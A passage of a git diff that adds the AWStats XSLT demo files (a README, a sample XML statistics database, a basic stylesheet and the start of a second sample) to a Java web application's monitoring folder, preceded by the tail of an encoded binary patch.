z*o^`w9)wZZXhuQCgb`kZM-HYZp##-O-h^t#Y9zv|a3e823pEnSyAUJMJq!^=co}Xa zrl+AsB6%CC8R|*}1qEn20S#WkYYB{|Mn);5p#g94z|&-ml0pV#zjBNcC}~1AVS&5y zHc3U`4!r_+JefFq%5d0IMrC^naM)8oWqUGk*poqJd$MuZlTEZepi&WxVMQaTsesf| z15F1&R<FVui;zAnq<I990WH2n+HxMBoSq48OM=QZ%*qtfjJAWFBBTy(onmOW2X$>g z1|!<7_DUdrW;$dsD?%L7<pFPxu~$-qr~$3K1uY|m$SJ8Slq43Vr<T}47vI{UjM;#E zWCUrWf*S(h-X3gIAGDpsi8_pf(#wYpH$r#8gS@Xp^4=!+u}_?!U;~Xzf-uZ>a1<#Z z8g%fc2{bhQ9KkLJw{^i$28m8k!v=af5hq9(T+3h`$hK230IilVw6!(T<l?L*rXz(k z5@v*DPz2@z(AhGe*(8_)k&T9(LWjFK2Wz6CHRYi5Q{aW!FpEGb7aRaE0eB#hX?z)N zjW3|B@fp-M9@-p(1bsF((_yI;XB!L>GobbtJn<+Qp^T@2n`IDXh{Vgu3EGzi+s6qK z2X(X%$LiF=k88)4w!uXe%t%ldwg5Csf>Hv&E^z}D0-%vwkP2wNsio$bJv2TXWds-x zEx`35gGKQ)IQ^G_0sr|w28QN_W}y2YjLpoA4NXlz_dl2!8k>#Y|4EPJhk5=FdP)G@ z08xrKSq~x&T5Jls$N~MpA5+NbKDf{OF)-0LG|)E!pZ8;GNcwp{pc<E`Ya}4<gxxy@ z+EqT}FOq<I3F&|xP59<t_yOhM{d%C?BZ+w_kd_@%TM%@1B#u-3plABQ8+tI4q2)T% z?xNB>kQr7ndC(DYm@*|5sGVrysM<jnb%FHj=^+kdN2*D{4Mi-61A|VP2AvBGq7g>| zbAh;4R>g^Fsqr9YYH@LVYDH>td`^CPdTI*j=%(D<#Jm(8c#9Zx8i0DO4)oZe;1C!8 z&=438dQKB)GcK31N>OS_erb_y0?bzmMs{k33D#W7P}f2gKpYGegGT{`kLq*S{bgX^ zqlFQ8d>>*Im$Cx3^X%YfGNB(bfOhIU=_LlN{D(C2^}vJSX+@-)gHH#6^54kR+?2u4 z(8%1#z{J!LdjF5X=>0$Vf|P1<(D=7?&PdJ8%u|4zY^9J=3M$~!ixP8lQ{ltrDX9v% znZ>CJi3(Zyr9}!Usl^JQ=0aw1NoHXw<o**4*NRlowhb#Rr=*sbmlx&dm*^*_XX=8k z8-m)bSCFHrW55OFf%>|(p+P=Shomaxmnsyc<|KlS$5u#DhaKOVny29G?x}#V4yqlt zzY%6=P6_zH2V1wy<cv(nY2`0+QWa7_`|I-3GSgu*rBHKqjCJ%=OOj!xz-T?t<smuX zi-foea!S)P^WqKT!PgYQf-R*~Aq{FpN~%ImqC!$)ajF8WORkhrQc_^0uU}qXu9urw zk(-&9qL-YXtDjg<0KRm|zQ{8L){|DU^M$B@Udof4Uz%4^R0%pW0aR+(6z3-9<k)Ex zfMNjR76qu|Ar~}h+UP@+fcyfw*$KSOR=+qSu_#p^e9sSr)JsV$fqBLV;+goO)bz~! zym+V+Y410PefYcv4rDZU5$nSsuy2t4X$<vea%M>-{d@_sjj$g<s$gy+)`!lSC6&nj zGlBXqv$z0e6zwB1v$%k;?~q(Xtmiy~1Cae@3iVrlQ9AwnmS2=k*l$QKBGzyIMd@I_ zQLPjw-ym4Q3A)U*0CZVfkzPR#`Nm<@Nud5WG%z-0FfcbaHZ(LeHa0N;o&RcLWIo#e z!y1@W7F1S1iFwc^8_>fXiy=#75{rsKd$FMV@l#53Qq_w=dWyNYQt}mGhl4{~<)Hh< zltG)zi&NvvQ<HKt^FWPp4N$vVM*(u&m=1JJu8soe(ls50{G_bZ<PsePHSk8~Vofga zSrcWcMI~Ts(o<8whh9L>-+-Jbh2$88%)F9(g^beN#5`TlDgn?y7RcebT*akH7%t(e z<^tD;3K}X9H>toJr2<(g47${*vLIDQK_wsRE|mh%rE?DP(8GX0js~x#&B;#(A7;P_ zX@V<2SIB}wQ>7YWSS`r&pni)D=#W-DwTzP7ocL7m*@_xa^TA7KL9(FXKk&i)pbjqh zK02^1kd-7T7D07_rFE4Q?4j3CDS>Q;Dz8<r;^O2)auGz_h$Oev4w*ZwsGKE6jT;St g(GVC7fzc2c4S~@R7!85Z5Eu=C(GVC7fngZ}0K>FgLjV8( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/tools/xslt/README.txt b/src/main/webapp/monitoramento/tools/xslt/README.txt new file mode 100644 index 0000000..aae1910 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/xslt/README.txt @@ -0,0 +1,23 @@ +----- README.txt about AWStats XSLT demo ----- +This directory is absolutely not required to make AWStats working. +All files here are demo files you can use if you want to manipulate AWStats XML +database to build report by yourself and without using AWStats output features. + + +The following file describe the structure of the AWStats XML database (built +when BuildHistoryOutput is set to 'xml'). +* awstats.xsd File descriptor for AWStats xml database schema. + + +The following two files can be used to test a xslt processing to +transform an AWStats XML database (built when BuildHistoryOutput is set to 'xml'). +into a report. +* awstats.datademo1.xml A xml data demo file to test xslt transform with style sheet. +* awstats.datademo1.xslt A demo xsl style sheet to transform de xml data demo file. + + + +To build a report using this 2 files and a xslt processor, you must run the command: + +xsltproc awstats.datademo1.xslt awstats.datademo1.xml > output.html + diff --git a/src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xml b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xml new file mode 100644 index 0000000..961627e --- /dev/null +++ b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xml @@ -0,0 +1,1200 @@ +<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="awstats.xsd"> + <version> + <lib> +AWSTATS DATA FILE 6.5 (build 1.856) +</lib> + <comment> +# If you remove this file, all statistics for date 200101 will be lost/reset. +</comment> + </version> + <section id="header"> + <comment> +# Position (offset in bytes) in this file of beginning of each section for +# direct I/O access. If you made changes somewhere in this file, you should +# also remove completely the MAP section (AWStats will rewrite it at next +# update). +</comment> + <nu> +BEGIN_MAP</nu> + <recnb>28</recnb> + <table> + <tr> + <td>POS_GENERAL</td> + <td>2816 </td> + </tr> + <tr> + <td>POS_TIME</td> + <td>4318 </td> + </tr> + <tr> + <td>POS_VISITOR</td> + <td>6702 </td> + </tr> + <tr> + <td>POS_DAY</td> + <td>7481 </td> + </tr> + <tr> + <td>POS_DOMAIN</td> + <td>7872 </td> + </tr> + <tr> + <td>POS_LOGIN</td> + <td>8362 </td> + </tr> + <tr> + <td>POS_ROBOT</td> + <td>8803 </td> + </tr> + <tr> + <td>POS_WORMS</td> + <td>9219 </td> + </tr> + <tr> + <td>POS_EMAILSENDER</td> + <td>9476 </td> + </tr> + <tr> + <td>POS_EMAILRECEIVER</td> + <td>9747 </td> + </tr> + <tr> + <td>POS_SESSION</td> + <td>9924 </td> + </tr> + <tr> + <td>POS_SIDER</td> + <td>10216 </td> + </tr> + <tr> + <td>POS_FILETYPES</td> + <td>10870 </td> + </tr> + <tr> + <td>POS_OS</td> + <td>11481 </td> + </tr> + <tr> + <td>POS_BROWSER</td> + <td>11876 </td> + </tr> + <tr> + <td>POS_SCREENSIZE</td> + <td>12326 </td> + </tr> + <tr> + <td>POS_UNKNOWNREFERER</td> + <td>12545 </td> + </tr> + <tr> + <td>POS_UNKNOWNREFERERBROWSER</td> + <td>12867 </td> + </tr> + <tr> + <td>POS_ORIGIN</td> + <td>13049 </td> + </tr> + <tr> + <td>POS_SEREFERRALS</td> + <td>13489 </td> + </tr> + <tr> + <td>POS_PAGEREFS</td> + <td>13842 </td> + </tr> + <tr> + <td>POS_SEARCHWORDS</td> + <td>14527 </td> + </tr> + <tr> + <td>POS_KEYWORDS</td> + <td>14892 </td> + </tr> + <tr> + <td>POS_MISC</td> + <td>3464 </td> + </tr> + <tr> + <td>POS_ERRORS</td> + <td>15169 </td> + </tr> + <tr> + <td>POS_CLUSTER</td> + <td>8098 </td> + </tr> + <tr> + <td>POS_SIDER_404</td> + <td>15479 </td> + </tr> + <tr> + <td>POS_EXTRA_1</td> + <td>15889 </td> + </tr> + </table> + <nu>END_MAP +</nu> + </section> + <section id="general"> + <comment> +# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value +# FirstTime = Date of first visit for history file +# LastTime = Date of last visit for history file +# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped +# TotalVisits = Number of visits +# TotalUnique = Number of unique visitors +# MonthHostsKnown = Number of hosts known +# MonthHostsUnKnown = Number of hosts unknown +</comment> + <nu> +BEGIN_GENERAL</nu> + <recnb>8</recnb> + <table> + <tr> + <td>LastLine</td> + <td>20010102030000 84 10496 69181820316</td> + </tr> + <tr> + <td>FirstTime</td> + <td>20010101100010</td> + </tr> + <tr> + <td>LastTime</td> + <td>20010102023000</td> + </tr> + <tr> + <td>LastUpdate</td> + <td>20051124203512 84 0 45 38 1</td> + </tr> + <tr> + <td>TotalVisits</td> + <td>6 </td> + </tr> + <tr> + <td>TotalUnique</td> + <td>5 </td> + </tr> + <tr> + <td>MonthHostsKnown</td> + <td>0 </td> + </tr> + <tr> + <td>MonthHostsUnknown</td> + <td>7 </td> + </tr> + </table> + <nu> +END_GENERAL +</nu> + </section> + <section id="misc"> + <comment> +# Misc ID - Pages - Hits - Bandwidth +</comment> + <nu> +BEGIN_MISC</nu> + <recnb>10</recnb> + <table> + <tr> + <td>QuickTimeSupport</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>JavaEnabled</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>JavascriptDisabled</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>PDFSupport</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>WindowsMediaPlayerSupport</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>AddToFavourites</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>RealPlayerSupport</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>TotalMisc</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>DirectorSupport</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>FlashSupport</td> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + </table> + <nu>END_MISC +</nu> + </section> + <section id="time"> + <comment> +# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth +</comment> + <nu> +BEGIN_TIME</nu> + <recnb>24</recnb> + <table> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>2</td> + <td>2</td> + <td>0</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>1</td> + <td>1</td> + <td>299</td> + </tr> + <tr> + <td>2</td> + <td>6</td> + <td>6</td> + <td>422856</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>3</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>1</td> + <td>1</td> + <td>70476</td> + </tr> + <tr> + <td>4</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>5</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>6</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>7</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>8</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>9</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>10</td> + <td>4</td> + <td>6</td> + <td>42054</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>11</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>12</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>13</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>14</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>15</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>16</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>17</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>18</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>19</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>20</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>21</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>22</td> + <td>8</td> + <td>16</td> + <td>108122</td> + <td>3</td> + <td>3</td> + <td>7607</td> + </tr> + <tr> + <td>23</td> + <td>3</td> + <td>8</td> + <td>22847</td> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + </table> + <nu>END_TIME +</nu> + </section> + <section id="visitor"> + <sortfor>10</sortfor> + <comment> +# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit] +# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished +# The 10 first Hits must be first (order not required for others) +</comment> + <nu> +BEGIN_VISITOR</nu> + <recnb>7</recnb> + <table> + <tr> + <td>80.8.55.1</td> + <td>8</td> + <td>14</td> + <td>94104</td> + <td>20010101220025</td> + </tr> + <tr> + <td>80.8.55.10</td> + <td>6</td> + <td>6</td> + <td>422856</td> + <td>20010102023000</td> + <td>20010102020000</td> + <td>/page1.html</td> + </tr> + <tr> + <td>80.8.55.3</td> + <td>4</td> + <td>6</td> + <td>42054</td> + <td>20010101220125</td> + </tr> + <tr> + <td>80.8.55.7</td> + <td>2</td> + <td>2</td> + <td>14018</td> + <td>20010101230100</td> + </tr> + <tr> + <td>80.8.55.6</td> + <td>1</td> + <td>6</td> + <td>8829</td> + <td>20010101230000</td> + </tr> + <tr> + <td>80.8.55.4</td> + <td>0</td> + <td>1</td> + <td>7009</td> + <td/> + </tr> + <tr> + <td>80.8.55.2</td> + <td>0</td> + <td>1</td> + <td>7009</td> + <td/> + </tr> + </table> + <nu>END_VISITOR +</nu> + </section> + <section id="day"> + <comment> +# Date - Pages - Hits - Bandwidth - Visits +</comment> + <nu> +BEGIN_DAY</nu> + <recnb>2</recnb> + <table> + <tr> + <td>20010101</td> + <td>15</td> + <td>30</td> + <td>173023</td> + <td>5</td> + </tr> + <tr> + <td>20010102</td> + <td>6</td> + <td>6</td> + <td>422856</td> + <td>1</td> + </tr> + </table> + <nu>END_DAY +</nu> + </section> + <section id="domain"> + <sortfor>10</sortfor> + <comment> +# Domain - Pages - Hits - Bandwidth +# The 10 first Pages must be first (order not required for others) +</comment> + <nu> +BEGIN_DOMAIN</nu> + <recnb>1</recnb> + <table> + <tr> + <td>ip</td> + <td>21</td> + <td>36</td> + <td>595879</td> + </tr> + </table> + <nu>END_DOMAIN +</nu> + </section> + <section id="cluster"> + <comment> +# Cluster ID - Pages - Hits - Bandwidth +</comment> + <nu> +BEGIN_CLUSTER</nu> + <recnb>0</recnb> + <table> +</table> + <nu>END_CLUSTER +</nu> + </section> + <section id="login"> + <sortfor>10</sortfor> + <comment> +# Login - Pages - Hits - Bandwidth - Last visit +# The 10 first Pages must be first (order not required for others) +</comment> + <nu> +BEGIN_LOGIN</nu> + <recnb>2</recnb> + <table> + <tr> + <td>John_Begood</td> + <td>2</td> + <td>2</td> + <td>14018</td> + <td>20010101230100</td> + </tr> + <tr> + <td>john</td> + <td>1</td> + <td>6</td> + <td>8829</td> + <td>20010101230000</td> + </tr> + </table> + <nu>END_LOGIN +</nu> + </section> + <section id="robot"> + <sortfor>10</sortfor> + <comment> +# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt +# The 10 first Hits must be first (order not required for others) +</comment> + <nu> +BEGIN_ROBOT</nu> + <recnb>2</recnb> + <table> + <tr> + <td>googlebot</td> + <td>2</td> + <td>7308</td> + <td>20010101220205</td> + <td>1</td> + </tr> + <tr> + <td>unknown</td> + <td>1</td> + <td>299</td> + <td>20010101220200</td> + <td>1</td> + </tr> + </table> + <nu>END_ROBOT +</nu> + </section> + <section id="worms"> + <sortfor>5</sortfor> + <comment> +# Worm ID - Hits - Bandwidth - Last visit +# The 5 first Hits must be first (order not required for others) +</comment> + <nu> +BEGIN_WORMS</nu> + <recnb>0</recnb> + <table> +</table> + <nu>END_WORMS +</nu> + </section> + <section id="emailsender"> + <sortfor>20</sortfor> + <comment> +# EMail - Hits - Bandwidth - Last visit +# The 20 first Hits must be first (order not required for others) +</comment> + <nu> +BEGIN_EMAILSENDER</nu> + <recnb>0</recnb> + <table> +</table> + <nu>END_EMAILSENDER +</nu> + </section> + <section id="emailreceiver"> + <sortfor>20</sortfor> + <comment> +# EMail - Hits - Bandwidth - Last visit +# The 20 first hits must be first (order not required for others) +</comment> + <nu> +BEGIN_EMAILRECEIVER</nu> + <recnb>0</recnb> + <table> +</table> + <nu>END_EMAILRECEIVER +</nu> + </section> + <section id="session"> + <comment> +# Session range - Number of visits +</comment> + <nu> +BEGIN_SESSION</nu> + <recnb>1</recnb> + <table> + <tr> + <td>0s-30s</td> + <td>5</td> + </tr> + </table> + <nu>END_SESSION +</nu> + </section> + <section id="sider"> + <sortfor>10</sortfor> + <comment> +# URL - Pages - Bandwidth - Entry - Exit +# The 10 first Pages must be first (order not required for others) +</comment> + <nu> +BEGIN_SIDER</nu> + <recnb>6</recnb> + <table> + <tr> + <td>/</td> + <td>8</td> + <td>373407</td> + <td>4</td> + <td>0</td> + </tr> + <tr> + <td>/page1.html</td> + <td>4</td> + <td>91503</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>/page3</td> + <td>3</td> + <td>21027</td> + <td>0</td> + <td>3</td> + </tr> + <tr> + <td>/page2.cgi</td> + <td>3</td> + <td>21027</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>/cgi-bin/order.cgi</td> + <td>2</td> + <td>14018</td> + <td>2</td> + <td>1</td> + </tr> + <tr> + <td>/do/Show</td> + <td>1</td> + <td>7009</td> + <td>0</td> + <td>1</td> + </tr> + </table> + <nu>END_SIDER +</nu> + </section> + <section id="filetypes"> + <comment> +# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression +</comment> + <nu> +BEGIN_FILETYPES</nu> + <recnb>7</recnb> + <table> + <tr> + <td>php</td> + <td>8</td> + <td>373407</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>png</td> + <td>3</td> + <td>21027</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>html</td> + <td>4</td> + <td>91503</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>js</td> + <td>2</td> + <td>9996</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>cgi</td> + <td>5</td> + <td>35045</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>Unknown</td> + <td>4</td> + <td>28036</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>gif</td> + <td>10</td> + <td>36865</td> + <td>0</td> + <td>0</td> + </tr> + </table> + <nu>END_FILETYPES +</nu> + </section> + <section id="os"> + <comment> +# OS ID - Hits +</comment> + <nu> +BEGIN_OS</nu> + <recnb>7</recnb> + <table> + <tr> + <td>linuxmandr</td> + <td>1</td> + </tr> + <tr> + <td>macosx</td> + <td>1</td> + </tr> + <tr> + <td>linuxredhat</td> + <td>1</td> + </tr> + <tr> + <td>win95</td> + <td>8</td> + </tr> + <tr> + <td>win2000</td> + <td>18</td> + </tr> + <tr> + <td>Unknown</td> + <td>6</td> + </tr> + <tr> + <td>win98</td> + <td>1</td> + </tr> + </table> + <nu>END_OS +</nu> + </section> + <section id="browser"> + <comment> +# Browser ID - Hits +</comment> + <nu> +BEGIN_BROWSER</nu> + <recnb>8</recnb> + <table> + <tr> + <td>firefox1.0</td> + <td>6</td> + </tr> + <tr> + <td>mozilla</td> + <td>2</td> + </tr> + <tr> + <td>netscape7.1</td> + <td>1</td> + </tr> + <tr> + <td>opera</td> + <td>1</td> + </tr> + <tr> + <td>sagem</td> + <td>6</td> + </tr> + <tr> + <td>firebird</td> + <td>6</td> + </tr> + <tr> + <td>msie5.5</td> + <td>6</td> + </tr> + <tr> + <td>netscape4.7</td> + <td>8</td> + </tr> + </table> + <nu>END_BROWSER +</nu> + </section> + <section id="screensize"> + <comment> +# Screen size - Hits +</comment> + <nu> +BEGIN_SCREENSIZE</nu> + <recnb>1</recnb> + <table> + <tr> + <td>1024x768</td> + <td>1</td> + </tr> + </table> + <nu>END_SCREENSIZE +</nu> + </section> + <section id="unknownreferer"> + <comment> +# Unknown referer OS - Last visit date +</comment> + <nu> +BEGIN_UNKNOWNREFERER</nu> + <recnb>1</recnb> + <table> + <tr> + <td>SAGEM-myX-5m/1.0_UP.Browser/6.1.0.6.1.103_(GUI)_MMP/1.0_(Google_WAP_Proxy/1.0)</td> + <td>20010101230000</td> + </tr> + </table> + <nu>END_UNKNOWNREFERER +</nu> + </section> + <section id="unknownrefererbrowser"> + <comment> +# Unknown referer Browser - Last visit date +</comment> + <nu> +BEGIN_UNKNOWNREFERERBROWSER</nu> + <recnb>0</recnb> + <table> +</table> + <nu>END_UNKNOWNREFERERBROWSER +</nu> + </section> + <section id="origin"> + <comment> +# Origin - Pages - Hits +</comment> + <nu> +BEGIN_ORIGIN</nu> + <recnb>6</recnb> + <table> + <tr> + <td>From0</td> + <td>9</td> + <td>19</td> + </tr> + <tr> + <td>From1</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>From2</td> + <td>2</td> + <td>7</td> + </tr> + <tr> + <td>From3</td> + <td>9</td> + <td>9</td> + </tr> + <tr> + <td>From4</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>From5</td> + <td>0</td> + <td>0</td> + </tr> + </table> + <nu>END_ORIGIN +</nu> + </section> + <section id="sereferrals"> + <comment> +# Search engine referers ID - Pages - Hits +</comment> + <nu> +BEGIN_SEREFERRALS</nu> + <recnb>2</recnb> + <table> + <tr> + <td>google</td> + <td>1</td> + <td>6</td> + </tr> + <tr> + <td>a9</td> + <td>1</td> + <td>1</td> + </tr> + </table> + <nu>END_SEREFERRALS +</nu> + </section> + <section id="pagerefs"> + <sortfor>10</sortfor> + <comment> +# External page referers - Pages - Hits +# The 10 first Pages must be first (order not required for others) +</comment> + <nu> +BEGIN_PAGEREFS</nu> + <recnb>5</recnb> + <table> + <tr> + <td>http://us.f109.mail.yahoo.com/ym/ShowLetter</td> + <td>5</td> + <td>5</td> + </tr> + <tr> + <td>http://www.sitereferer:81/cgi-bin/azerty.pl</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>http://WWW.SiteRefereR:80/cgi-bin/azerty.pl</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>http://www.freeweb.hu/icecat/filmek/film04.html</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>http://www.sitereferer/cgi-bin/search.pl</td> + <td>1</td> + <td>1</td> + </tr> + </table> + <nu>END_PAGEREFS +</nu> + </section> + <section id="searchwords"> + <sortfor>10</sortfor> + <comment> +# Search keyphrases - Number of search +# The 10 first number of search must be first (order not required for others) +</comment> + <nu> +BEGIN_SEARCHWORDS</nu> + <recnb>2</recnb> + <table> + <tr> + <td>ma%c3%aetre+譨ve</td> + <td>1</td> + </tr> + <tr> + <td>searchkeyfroma9</td> + <td>1</td> + </tr> + </table> + <nu>END_SEARCHWORDS +</nu> + </section> + <section id="keywords"> + <sortfor>10</sortfor> + <comment> +# Search keywords - Number of search +# The 10 first number of search must be first (order not required for others) +</comment> + <nu> +BEGIN_KEYWORDS</nu> + <recnb>3</recnb> + <table> + <tr> + <td>searchkeyfroma9</td> + <td>1</td> + </tr> + <tr> + <td>ma%c3%aetre</td> + <td>1</td> + </tr> + <tr> + <td>譨ve</td> + <td>1</td> + </tr> + </table> + <nu>END_KEYWORDS +</nu> + </section> + <section id="errors"> + <comment> +# Errors - Hits - Bandwidth +</comment> + <nu> +BEGIN_ERRORS</nu> + <recnb>3</recnb> + <table> + <tr> + <td>302</td> + <td>1</td> + <td>70476</td> + </tr> + <tr> + <td>405</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>404</td> + <td>2</td> + <td>299</td> + </tr> + </table> + <nu>END_ERRORS +</nu> + </section> + <section id="sider_404"> + <comment> +# URL with 404 errors - Hits - Last URL referer +</comment> + <nu> +BEGIN_SIDER_404</nu> + <recnb>2</recnb> + <table> + <tr> + <td>/default.ida</td> + <td>1</td> + <td>-</td> + </tr> + <tr> + <td>/404notfoundpage.html</td> + <td>1</td> + <td>http://refererto404nofoundpage/pageswithbadlink.html</td> + </tr> + </table> + <nu>END_SIDER_404 +</nu> + </section> + <section id="extra_1"> + <sortfor>20</sortfor> + <comment> +# Extra key - Pages - Hits - Bandwidth - Last access +# The 20 first number of hits are first +</comment> + <nu> +BEGIN_EXTRA_1</nu> + <recnb>2</recnb> + <table> + <tr> + <td>999</td> + <td>1</td> + <td>1</td> + <td>0</td> + <td>20010101230100</td> + </tr> + <tr> + <td>998</td> + <td>1</td> + <td>1</td> + <td>0</td> + <td>20010101230000</td> + </tr> + </table> + <nu>END_EXTRA_1 +</nu> + </section> +</xml> diff --git a/src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xslt b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xslt new file mode 100644 index 0000000..f7640cb --- /dev/null +++ b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo1.xslt @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xsl:template match="/"> + <html> + <head /> + <body> + <br /> + <xsl:for-each select="xml"> + <br /> + <xsl:for-each select="version"> + <xsl:for-each select="lib"> + <xsl:apply-templates /> + </xsl:for-each> + </xsl:for-each> + <br /> + <br /> + <xsl:for-each select="section"> + <xsl:for-each select="@id"> + <xsl:value-of select="." /> + </xsl:for-each> + <p> + <xsl:for-each select="table"> + <xsl:for-each select="tr"> + <xsl:for-each select="td"> + <xsl:apply-templates /> </xsl:for-each> + <br /> + </xsl:for-each> + <br /> + </xsl:for-each> + </p> + </xsl:for-each> + <br /> + </xsl:for-each> + </body> + </html> + </xsl:template> +</xsl:stylesheet> diff --git a/src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xml b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xml new file mode 100644 index 0000000..700a41f --- /dev/null +++ b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xml @@ -0,0 +1,379 @@ +<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.awstats.org/files/awstats.xsd"> + +<version><lib> +AWSTATS DATA FILE 6.7 (build 1.892) +</lib><comment> +# If you remove this file, all statistics for date 200101 will be lost/reset. +</comment></version> + +<section id='header'><comment> +# Position (offset in bytes) in this file of beginning of each section for +# direct I/O access. If you made changes somewhere in this file, you should +# also remove completely the MAP section (AWStats will rewrite it at next +# update). +</comment><nu> +BEGIN_MAP</nu><recnb>29</recnb><table> +<tr><td>POS_GENERAL</td><td>3010 </td></tr> +<tr><td>POS_TIME</td><td>4512 </td></tr> +<tr><td>POS_VISITOR</td><td>6899 </td></tr> +<tr><td>POS_DAY</td><td>7712 </td></tr> +<tr><td>POS_DOMAIN</td><td>8031 </td></tr> +<tr><td>POS_LOGIN</td><td>8577 </td></tr> +<tr><td>POS_ROBOT</td><td>8939 </td></tr> +<tr><td>POS_WORMS</td><td>9441 </td></tr> +<tr><td>POS_EMAILSENDER</td><td>9770 </td></tr> +<tr><td>POS_EMAILRECEIVER</td><td>10041 </td></tr> +<tr><td>POS_SESSION</td><td>10218 </td></tr> +<tr><td>POS_SIDER</td><td>10510 </td></tr> +<tr><td>POS_FILETYPES</td><td>11318 </td></tr> +<tr><td>POS_OS</td><td>11863 </td></tr> +<tr><td>POS_BROWSER</td><td>12222 </td></tr> +<tr><td>POS_SCREENSIZE</td><td>12638 </td></tr> +<tr><td>POS_UNKNOWNREFERER</td><td>12857 </td></tr> +<tr><td>POS_UNKNOWNREFERERBROWSER</td><td>13059 </td></tr> +<tr><td>POS_ORIGIN</td><td>13241 </td></tr> +<tr><td>POS_SEREFERRALS</td><td>13681 </td></tr> +<tr><td>POS_PAGEREFS</td><td>13989 </td></tr> +<tr><td>POS_SEARCHWORDS</td><td>14674 </td></tr> +<tr><td>POS_KEYWORDS</td><td>14993 </td></tr> +<tr><td>POS_MISC</td><td>3658 </td></tr> 